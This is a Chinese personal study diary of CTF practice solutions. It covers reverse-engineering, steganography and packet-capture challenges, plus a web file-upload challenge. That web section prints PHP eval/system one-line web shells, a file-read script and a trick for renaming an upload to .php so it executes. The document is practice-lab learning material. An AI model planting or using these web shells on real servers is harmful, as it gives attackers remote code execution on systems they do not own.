2022年1月

21.1.15

回来好像好多天了。

现在还眼珠子疼诶。这可不是什么好事情。

我现在好饿,不知道吃什么好。

0x01 xctf rev logmein

  1. 题目说是算法的逆向。我还以为多难的算法逆向。
  2. 原来flag可以是输入的字符。
  3. 那样照着写一个代码

    #include<bits/stdc++.h>
    int main(){
    
      char v8[23333];
      char v7[233333];
      strcpy(v8, ":\"AL_RT^L*.?+6/46");
      strcpy(v7, "harambe");
      int v6 = 7;
    
      for(int i=0;i<strlen(v8);++i){
        std::cout<<(char)((char)(v7[i%v6] ) ^ v8[i]);
      }
      
    }
    
  4. 可以得到输出RC3-2016-XORISGUD

0x02 xctf rev insanity

  1. 完全没有思路呜呜呜
  2. 看WP,是去找str,然后有flag
  3. 9447{This_is_a_flag}

吼鸡

  1. 在IDA可以用SHIFT+F12来快速找字符串。
  2. strings ./428f6e6f75754fca8964d35b16a4b709 在linux shell下可以找字符串。

0x03 python-trade

  1. 哦,这可是py交易
  2. 安装个逆向工具

    pip install uncompyle6
    uncompyle6 xxx.pyc
    
    结果这个破玩意不支持python3.9.9
    感觉python的各种版本同时存在真的好重要。
  3. shell

    [root@oao 1]# uncompyle6 f417c0d03b0344eb9969ed0e1f772091.pyc > f417c0d03b0344eb9969ed0e1f772091.py
    [root@oao 1]#
    1. 剩下的就是简单的代码逆向了。
    correct = 'XlNkVmtUI1MgXWBZXCFeKY+AaXNt'
    
    def encode(message):
        s = ''
        for i in message:
            x = ord(i) ^ 32
            x = x + 16
            s += chr(x)
        return base64.b64encode(s)
    1. 照着写一个逆向函数
    def decode(str):
      str=base64.b64decode(str)
      s=""
      for i in str:
        print(i,end=" ")
        x= i - 16
        x= x^32
        s+=chr(x)
      return s
    
    print(decode(correct))
    
    1. 得到flag:nctf{d3c0mpil1n9_PyC}

0x04 xctf misc easycap

wireshark,追踪tcp流

FLAG:385b87afc8671dee07550290d16a8071

不过,NPM的包有些真的好好用哈哈哈哈哈

给cmd装个wget 简直无敌

22.1.14

好困啊,你看我这么早起来第一件事就是做这个,不得喜欢喜欢我?

owo owo

0x01 XCTF rev open-source

  1. 看源代码嘛
  2. 有个小注意的地方,std::cout<<atoi("123");这样会输出123。std::cout<<atoi("owo")<<"\n";这样会输出0
  3. 0xcafe对应数字51966
  4. 默认传入的argv中的argv[0]至少在windows下会显示自己的目录。

    ::linux
    [root@oao test]# /root/test/wa
    argc:1
    argv[0]:/root/test/wa
    
    [root@oao test]# ./wa
    argc:1
    argv[0]:./wa
    argv[1]:
    
    ::windows powershell
    PS F:\code\CTF\xctf\rev\open-source> .\test2    
    argc:1
    argv[0]:F:\code\CTF\xctf\rev\open-source\test2.exe
    argv[1]:
    
    ::windows cmd
    F:\code\CTF\xctf\rev\open-source>test2
    argc:1
    argv[0]:test2
    argv[1]:
    

    大概就是这样,会显示自己的目录信息。

  1. 然后这样就可以看参数啦

    PS F:\code\CTF\xctf\rev\open-source> .\test2 owo owo
    argc:3
    argv[0]:F:\code\CTF\xctf\rev\open-source\test2.exe
    argv[1]:owo
  2. 第二个条件可以暴力算出来是25
  3. 可以得到

    PS F:\code\CTF\xctf\rev\open-source> .\8b6405c25fe447fa804c6833a0d72808.exe 51966 25 h4cky0u
    Brr wrrr grr
    Get your key: c0ffee
  4. 这个题有个小坑,就是提交的时候不需要括号括起来..然后%x是16进制。

0x02 XCTF rev simple-unpack

  1. 稍微试了试,觉得很奇怪的文件。
  2. 在linux下看ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header
  3. 执行后,输入个东西会显示try again。
  4. 不会做。
  5. 看了看要用upx脱壳

    PS F:\code\CTF\xctf\rev\simple-unpack> upx -d .\847be14b3e724782b658f2dda2e8045b
                           Ultimate Packer for eXecutables
                              Copyright (C) 1996 - 2020
    UPX 3.96w       Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020
    
            File size         Ratio      Format      Name
       --------------------   ------   -----------   -----------
        912808 <-    352624   38.63%   linux/amd64   847be14b3e724782b658f2dda2e8045b
    
    Unpacked 1 file.
  6. 真的很神奇诶。脱壳之后文件还变大了,而且ida可以解析了。
  7. flag{Upx_1s_n0t_a_d3liv3r_c0mp4ny}
  8. 好像这个题也可以winhex暴力查flag

0X03 XCTF MISC 功夫再高也怕菜刀

  1. 又到了可爱的鲨鱼环节。
  2. 不会做,记录下有用的东西吧。

    504B0506 压缩文件头
    追踪文件流可以得到压缩包。
    
    kali 下的foremost可以快速找到流量包的文件
    
    然后可以得到一个一个包包
  3. 还能在流里搜到一个图片
  4. 用图片上的密码解压

    flag{3OpWdJ-JP6FzK-koCMAK-VkfWBq-75Un2z}

吼住

010 Editor好像挺好用的

22.1.13

记录日常啦。

昨晚还在拉肚子,也没人陪我玩游戏。肚子疼得厉害,咕噜咕噜的叫。

到现在感觉也不怎么样。

今天打算不做buu了,做做攻防世界了。

0x01 reverse game

  1. 好可爱的小程序。IDA启动!
  2. 很快就能找到源代码的地方。
  3. 但是要注意一个地方,虽然反编译出来了好几个数组出来,但是实际上这是一个数组。
  4. 也就是v3,v4,甚至v5都是一个数组。
  5. 运行代码

    #include<cstdio>
    #include<cstring>
    
    
    
    int sub_45E940()
    {
      char v1; // [esp+0h] [ebp-164h]
      int i; // [esp+D0h] [ebp-94h]
      char v3[22]; // [esp+DCh] [ebp-88h] BYREF
      char v4[32]="`S,yhn _uec{"; // [esp+F2h] [ebp-72h] BYREF
      char v5[4]; // [esp+112h] [ebp-52h] BYREF
      char v6[64]; // [esp+120h] [ebp-44h]
    
     // sub_45A7BE((int)"done!!! the flag is ", v1);
      v6[0] = 18;
      v6[1] = 64;
      v6[2] = 98;
      v6[3] = 5;
      v6[4] = 2;
      v6[5] = 4;
      v6[6] = 6;
      v6[7] = 3;
      v6[8] = 6;
      v6[9] = 48;
      v6[10] = 49;
      v6[11] = 65;
      v6[12] = 32;
      v6[13] = 12;
      v6[14] = 48;
      v6[15] = 65;
      v6[16] = 31;
      v6[17] = 78;
      v6[18] = 62;
      v6[19] = 32;
      v6[20] = 49;
      v6[21] = 32;
      v6[22] = 1;
      v6[23] = 57;
      v6[24] = 96;
      v6[25] = 3;
      v6[26] = 21;
      v6[27] = 9;
      v6[28] = 4;
      v6[29] = 62;
      v6[30] = 3;
      v6[31] = 5;
      v6[32] = 4;
      v6[33] = 1;
      v6[34] = 2;
      v6[35] = 3;
      v6[36] = 44;
      v6[37] = 65;
      v6[38] = 78;
      v6[39] = 32;
      v6[40] = 16;
      v6[41] = 97;
      v6[42] = 54;
      v6[43] = 16;
      v6[44] = 44;
      v6[45] = 52;
      v6[46] = 32;
      v6[47] = 64;
      v6[48] = 89;
      v6[49] = 45;
      v6[50] = 32;
      v6[51] = 65;
      v6[52] = 15;
      v6[53] = 34;
      v6[54] = 18;
      v6[55] = 16;
      v6[56] = 0;
      v3[0] = 123;
      v3[1] = 32;
      v3[2] = 18;
      v3[3] = 98;
      v3[4] = 119;
      v3[5] = 108;
      v3[6] = 65;
      v3[7] = 41;
      v3[8] = 124;
      v3[9] = 80;
      v3[10] = 125;
      v3[11] = 38;
      v3[12] = 124;
      v3[13] = 111;
      v3[14] = 74;
      v3[15] = 49;
      v3[16] = 83;
      v3[17] = 108;
      v3[18] = 94;
      v3[19] = 108;
      v3[20] = 84;
      v3[21] = 6;
      //qmemcpy(v4, "`S,yhn _uec{", 12);
      v4[12] = 127;
      v4[13] = 119;
      v4[14] = 96;
      v4[15] = 48;
      v4[16] = 107;
      v4[17] = 71;
      v4[18] = 92;
      v4[19] = 29;
      v4[20] = 81;
      v4[21] = 107;
      v4[22] = 90;
      v4[23] = 85;
      v4[24] = 64;
      v4[25] = 12;
      v4[26] = 43;
      v4[27] = 76;
      v4[28] = 86;
      v4[29] = 13;
      v4[30] = 114;
      v4[31] = 1;
      v4[32]='u';
      v4[33]='~'; 
      strcpy(v5, "    ~");
      for ( i = 22; i < 55; ++i )
      {
        v4[i-22] ^= v6[i];
        v4[i-22] ^= '\x13';
      }
      printf("%s",v4);
    
      return 1;
    }
    int main(){
      sub_45E940();
    }
    //zsctf{T9is_tOpic_1s_v5ry_int7resting_b6t_others_are_n0t}
    
  6. 这样运行v3,v4就可以拿到差不多的flag
  7. 但,这个题还有别的做法。

    那就是可爱的CE修改器

    先上结论:

                         |-----------------------▲--------|
                         |-----------------------●--------|
                         |-----------------------◆--------|
                         |-----------------------■--------|
    |--------------------|-----------------------★--------|
    |                    |-----------------------▼--------|
    |                    |--------------------(°Д°)-----|
    |                    |--------------------(*°▽°)=3--|
    二                                                     |
    |           by 0x61                                    |
    |                                                      |
    |------------------------------------------------------|
    done!!! the flag is zsctf{T9is_tOpic_1s_v5ry_int7resting_b6t_others_are_n0t}
    input n,n(1-8)
    1.△ 2.○ 3.◇ 4.□ 5.☆ 6.▽ 7.( ̄▽ ̄)/ 8.(;°Д°) 0.restart
    n=
    1. 因为前面逆向了一次,可以看到,这个判断是个数组。
    2. 那样就直接搜数组,毕竟数组的内存地址基本上是连续的。
    3. 数组扫描
    4. 然后因为CE的修改数值的速度可能不如那啥快,那样就锁定绝大多数值,然后随便玩玩,很轻松就可以得到啦

zsctf{T9is_tOpic_1s_v5ry_int7resting_b6t_others_are_n0t}

0x02 BUU LSB

  1. linux 下file命令显示flag11.png: PNG image data, 268 x 268, 8-bit/color RGB, non-interlaced
  2. 好像没什么有用的信息,winhex也没有看到什么东西。
  3. 不会做,看WP
  4. 天,原来stegsolve的analyse功能可以这么用,好恐怖。
  5. 出来之后是个二维码。cumtctf{1sb_i4_s0_Ea4y}

0x03 BUU 你竟然赶我走

winhex 图片尾部 flag{stego_is_s0_bor1ing}

22.1.12

又是新的一天,感冒稍微好了点

希望今天的状态可以不错。

还在学一些别的东西。

typora收费了,咱用的是最后一个免费版,主要是正版属实有点小贵。

BUU UPLOAD COURSE 1

打开网页是一个文件上传的系统。

试一试一句话木马

<?php @eval($_GET["cmd"]); ?>

显示文件已储存在: uploads/61de2ea9af7ad.jpg

试一试

http://091478d9-fcbd-4c2d-bda0-ec5a37ef84eb.node4.buuoj.cn:81/index.php?file=uploads/61de2ea9af7ad.jpg

似乎没有显示

试试能不能蚂蚁剑连入。

在蚂蚁剑代码解压出错的时候,我又试了试这个

<?php
  echo "owo";
  ?>

有输出。owo

另外吐槽一下winrar的解压机制,每次都要从C盘复制回来是什么鬼啊。

呃,蚂蚁剑好像有点问题,等待的时候去玩玩misc

蚂蚁剑总算能用了。

中文名真的是个恐怖的东西。

竟然显示返回数据为空。

那就试试手动构建
<?php @eval("ls"); ?>

好像eval被禁用了。

但是问题不大,发现php文件是可以被执行的。于是,直接用php枚举文件。

检查目录:/tmp
/tmp/flag.sh
/tmp/html/index.php
/tmp/html/upload.php

发现了flag
尝试获得文件。

用phpcat进行cat文件。
#!/bin/bash echo $FLAG >> /flag export FLAG=not_flag FLAG=not_flag rm -f /flag.sh

真的是..
那就继续搜
/tmp/html/index.php 没有什么值钱的东西
/tmp/html/upload.php 也没有什么值钱的东西

那就试试/flag 
flag{55ff3ec8-67fe-4b64-be71-e1ef8556f3aa}
真的服了,猜中了。

问题就在这,开始的暴力枚举的脚本遇到没权限的会报错,但是我也没写try所以有问题。

但为什么evel不能用呢?

phpcat.php
<?php
$the_file_path = "/tmp/flag.sh" ;
$fp = fopen ( $the_file_path , "r" );
$str = fread ( $fp , filesize ( $the_file_path ));
echo $str;
?>

吼住

  1. 网上说好像.jpg 蚂蚁剑不能直接执行,那么是不是可以用php把代码重名为.php呢?
  2. 说干就干!
  3. 第3个小标

    <?php
    //uploads/61de3a0442c88.jpg
    
    echo "try:";
    echo rename("uploads/61de3a0442c88.jpg","uploads/e.php");
    ?>
    
        
    得到:    
    try:1
  4. 第4个小标

    //用之前的脚本
    ./uploads/61de380d1be04.jpg
    ./uploads/61de3828bcf26.jpg
    ./uploads/61de382bed83e.jpg
    ./uploads/61de3831f1d58.jpg
    ./uploads/61de387f9098f.jpg
    ./uploads/61de3a4fed328.jpg
    ./uploads/e.php
    ./uploads/61de3ac10a928.jpg
        
    那么是不是成功了呢?
        
    <?php @eval(system($_POST["owo"]));?>
        
  5. 还是显示连接失败,但是访问/uploads/ee.php

    已经显示有空白页面,而且不是nginx的

    我觉得是服务器禁止了eval

  6. 结束:看别人的博客看到了一个挺不错的软件,叫POSTMAN

N种方法解决

  1. 下载下来是个exe
  2. 发现好像没法直接运行。没法zip打开。
  3. linux下file KEY.exe: ASCII text, with very long lines, with no line terminators
  4. 看样子是个图片,扫描显示KEY{dca57f966e4e4e31fd5b15417da63269}

qr

  1. ......
  2. 欢迎参加本次比赛,密码为 Flag{878865ce73370a4ce607d21ca01b5e59}
  3. .....